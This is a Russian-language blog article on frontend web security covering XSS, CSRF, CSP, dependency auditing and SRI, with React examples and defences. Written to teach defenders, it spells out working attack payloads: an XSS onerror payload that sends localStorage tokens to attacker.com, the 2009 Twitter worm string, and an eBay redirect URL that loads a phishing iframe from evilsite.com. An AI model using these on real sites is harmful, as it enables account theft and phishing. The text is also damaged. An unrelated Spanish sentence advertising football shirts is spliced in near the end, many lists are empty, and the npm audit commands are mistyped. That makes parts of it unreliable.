Making sense of technology
IT

Реальные уязвимости современных WEB-приложений: что нужно учитывать разработчикам

Владимир Стариков · 11 марта, 2026 · 13 мин чтения

Практические примеры и ошибки, которые совершают даже опытные разработчики

«Хранить токен в localStorage — нормально», «У нас React, XSS нам не страшен», «У нас HTTPS, значит всё безопасно».

Это одни из самых распространённых заблуждений в современной веб-разработке.

Меня зовут Владимир Стариков, я Tech Lead Frontend в AO «Bereke Bank».

В первые годы работы я практически не задумывался о безопасности фронтенда. Казалось, что уязвимости — это зона ответственности backend-разработчиков и DevOps.

Фронтенд воспринимался как UI-слой: интерфейсы, компоненты, немного бизнес-логики.

Со временем стало понятно: фронтенд — это одна из самых уязвимых точек всей системы.

Современные приложения — это уже не просто HTML и CSS. Это:

Каждая такая зависимость — потенциальная точка атаки. А supply-chain атаки через npm уже давно стали одной из самых популярных лазеек для злоумышленников.

Когда я начал глубже разбираться в теме, стало очевидно: советов уровня «не использовать dangerouslySetInnerHTML» недостаточно.

В этой статье я разберу несколько распространённых уязвимостей, с которыми сталкиваются современные web-приложения, и дам практические рекомендации, как снизить риски.

Материал будет полезен:

Примеры приведены на React, но большинство рекомендаций актуальны для любого фронтенд-фреймворка.

Главный принцип веб-безопасности прост: лучшая уязвимость — та, которой нет.

Где безопаснее хранить токен?

Чаще всего разработчики выбирают между двумя вариантами:

Но у каждого из них есть свои особенности безопасности.

LocalStorage

Плюсы

Минусы

Cookies

Плюсы

Минусы

Ключевая мысль

Если приложение уже подверглось XSS-атаке, cookie полностью не спасёт.Но значительно ограничит масштаб ущерба, поскольку токен нельзя просто прочитать через JS.

Sanitize it all

Санитизация — это очистка пользовательских данных от потенциально опасного кода.

Если её нет, злоумышленник может внедрить собственный JavaScript, который будет выполняться в браузере пользователей.

Пример уязвимого компонента

export const Comment = ({ text }) => {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: text }}
    />
  )
}

Если злоумышленник отправит такой комментарий:

src=«invalid» onerror=«fetch(‘https://attacker.com?token=’ + localStorage.getItem(‘token’))» />

то любой пользователь, открывший страницу, отправит свой токен злоумышленнику.

Если токен хранится в HttpOnly cookie — его нельзя прочитать напрямую.Но злоумышленник всё равно сможет:

Важно понимать

Уязвимость может появиться не только в вашем компоненте.

Например, если вы:

Во всех этих случаях граница доверия переносится внутрь вашего приложения.

Как обезопасить себя?

Нужно предпринять комплекс мер:

  1. Никогда не вставляйте HTML без строгой необходимости;
  2. Санитизируйте любой внедряемый код (например с помощью DOMPurify);
  3. Настройте Content-Security Policy в заголовках (об этом чуть позже).

Пример санитизации:

import DOMPurify from «dompurify»;

export const Comment = ({ text }) => {
  const cleanHtml = DOMPurify.sanitize(text);

  return (
    <div
      dangerouslySetInnerHTML={{ __html: cleanHtml }}
    />
  );
};

Публичный кейс: Twitter Worm (2009)

В 2009 году в Twitter появилась XSS-уязвимость, которая позволила создать настоящий червь внутри социальной сети.

Злоумышленник встроил событие onmouseover в ссылку.

Когда пользователь наводил курсор:

Причина оказалась неожиданной:символ @ ломал HTML-парсер Twitter, что позволило обойти фильтрацию.

Пример вредоносного кода:

http://lol.no/@«;onmouseover=»;$(‘textarea:first’).val(this.innerHTML);
$(‘.status-update-form’).submit();«class=»modal-overlay«/

Теперь если вы наводили курсор на эту ссылку, вы публиковали тот же самый контент.

Публичный кейс: eBay (2015-2016)

eBay поддерживал параметр запроса redirectTo. Проблема заключалась в том, что страницы, на которые можно было выполнить перенаправление, не обязательно проверяли параметры запроса в URL, на который перенаправлялся пользователь — что позволяло осуществлять XSS-атаки.

Пример: Злоумышленник создает копию страницы авторизации, которая имитирует оригинал от eBay (за исключением адресной строки, замену которой вряд-ли заметит рядовой пользователь). Далее задача злоумышленника внедрить примерно такой код: document.write(‘<iframec=»http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width=»1500″ height=»1000″>’)

И он прекрасно с этим справляется с помощью вредоносной ссылки и redirectTo от eBay:

http://ebay.com/link/?nav=webview&redirectTo=javascript:document.write%28%27%3Ciframe%20src=%22http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20he

Невнимательный пользователь вводит свои учетные данные и получает ошибку… хотя его данные уже улетели на сервер злоумышленника.

Защищайтесь от CSRF атак

CSRF (Cross-Site Request Forgery) — атака, при которой злоумышленник заставляет браузер пользователя выполнить запрос к сайту.

Если защита отсутствует, можно:

Почему это работает? Потому что cookie автоматически отправляются браузером.

Пример:

Пользователь авторизован в банке.

Злоумышленник размещает на своём сайте форму:

Браузер автоматически прикладывает cookie.

Сервер думает, что запрос отправил пользователь.

Как воспроизвести и обнаружить?

Представим, что у вас есть форма с таким POST запросом смены email.

POST /change-email
Cookie: session=abc123

В теле запроса:

email=hacker@mail.com

если в самой форме нет CSRF-токена, то с большой вероятностью вы уже уязвимы.

Вашу страницу можно будет скомпрометировать через обычный HTML.

Признаки CSRF-уязвимости

Как исправить

Кейс: захват аккаунта TikTok (2020)

Один из эндпоинтов TikTok, отвечающий за сброс пароля, оказался уязвим к CSRF.

Это позволяло изменить пароль пользователя буквально в один клик.

Content Security Policy

CSP — механизм браузерной защиты, позволяющий указать: какой код разрешено выполнять, а какой — нет.

Основные принципы

Где настраивать CSP

Правильно — через HTTP заголовок:

Content-Security-Policy: script-src ‘self’ https://trusted.cdn.com

Допустимо — через <meta> в <head> вашего HTML

http-equiv=«Content-Security-Policy»
      content=«script-src ‘self’ https://trusted.cdn.com»>

В этом примере мы разрешаем загрузку скриптов только с нашего домена и домена trusted.cdn.com

Однако в случае с meta-тегом этот способ не дает полной защиты, и имеет свои недостатки и ограничения. Но это в любом случае лучше чем ничего.

Важный нюанс

CSP не дает нам защиту по умолчанию. Очень часто можно встретить такую конфигурацию:

script-src ‘self’ ‘unsafe-inline’

Наличие ‘unsafe-inline’ фактически разрешает выполнение встроенных скриптов и значительно снижает ценность CSP.

Пример строгого CSP

Пример более жёсткой политики.

Что здесь важно:

Проверить работу CSP можно через DevTools.

Откройте консоль и попробуйте выполнить:

eval(«alert(‘hello!’)»)

Если вышла ошибка вроде этой:

значит политика действительно блокирует выполнение динамического кода.

Интересно и то, что подобную политику ставят себе многие бигтех компании (попробуйте выполнить этот код в консоли в YouTube или X).

Когда я впервые посмотрел на нашу CSP-политику, я увидел, что формально она существовала. Но по факту не обеспечивала максимальной защиты. В ней были разрешены inline-скрипты и загрузка ресурсов с внешних доменов — то есть технически CSP был настроен, но на практике не ограничивал почти ничего.

Проверить безопасность заголовков в запросах вашего приложения вы можете онлайн c помощью сервиса от Snyk.

Регулярно проверяйте зависимости

Без инструментов вроде DerScanner, Snyk и NPM Audit риск наличия уязвимостей в зависимостях значительно возрастает. Библиотеки во фронтенде обновляются чуть ли не каждый день, и не всегда это новые фичи. Порой обновления связаны с дырами в безопасности, и, к счастью, разработчики NPM позаботились об этом.

Достаточно ввести в своем проекте такую команду:

npm audit

И консоль выдаст вам все проблемные библиотеки и информацию о патчах.

Пример отчета от NPM Audit.

В таких случаях рекомендуется обновлять библиотеки вручную, либо используя команду:

npx audit fix

Обновляет до безопасных версий в рамках semver

npm audit fix -force

Может обновить до мажорных версий, но сломать API

В случае если в библиотеке найдена уязвимость, но патча еще нет, есть несколько вариантов:

По своему опыту могу сказать, что в моих проектах уязвимость уровня high в зависимостях появляется примерно раз в квартал. Именно поэтому важно регулярно проверять и обновлять зависимости, делая это аккуратно и с учетом обратной совместимости. Некоторые уязвимости в библиотеках позволяют проводить supply-chain атаки. Уязвимости такого рода особенно опасны тем, что одна зараженная библиотека может попасть сразу в тысячи других проектов.

Используйте Subresource Integrity (SRI)

Subresource Integrity — это механизм безопасности в браузере, который проверяет, не был ли подменен наш файл.

В основном SRI защищает нас от подмены файлов на CDN и MITM атак.

Рассматривайте его как дополнительный уровень защиты, особенно, если используете аналитику и другие сторонние виджеты.

Как это выглядит:

<script
  src=«https://cdn.example.com/library.js»
  integrity=«sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxRzJk…»
  crossorigin=«anonymous»>
script>

Пример скрипта с SRI

Как защищает:

Вы можете подключить SRI в свой проект используя подходящие библиотеки для вашего сборщика:

Для webpack: webpack-subresource-integrity

Для Vite: vite-plugin-csp-guard

Insecure Design

Insecure Design — это класс уязвимостей, связанных с ошибками в проектировании системы: непродуманной бизнес-логикой, отсутствием ограничений и недостаточным учётом сценариев злоупотребления.

Особенность в том, что:

По данным OWASP Top 10, Insecure Design занял 6-е место в 2025 году, являясь одной из самых распространенных уязвимостей.

Пример уязвимости

Представим сервис покупки билетов в кино:

Что произойдет:

В итоге клиенты не могут купить место, а бизнес потерпел большой финансовый ущерб и репутационный удар.

Решение

С подобной уязвимостью я сталкивался неоднократно. Как фронтендер я в основном не мог технически исправить проблему, но мог выявить риск на этапе разработке и предупредить команду о потенциальной уязвимости.

Вывод

Веб-безопасность — это не набор отдельных правил.

Это образ мышления разработчика.

Современные фронтенд-приложения взаимодействуют:

Фронтенд давно перестал быть просто UI.

Сегодня это полноценная часть системы, подверженная тем же угрозам, что и backend.

И главный принцип остаётся прежним:

La elección de camisetas de fútbol para regalar mejora al comparar la temporada, el diseño y los detalles visibles. También ayuda revisar el precio total, el plazo de entrega y las condiciones de devolución antes de completar el pedido.

Лучшая уязвимость — та, которой нет.

Автор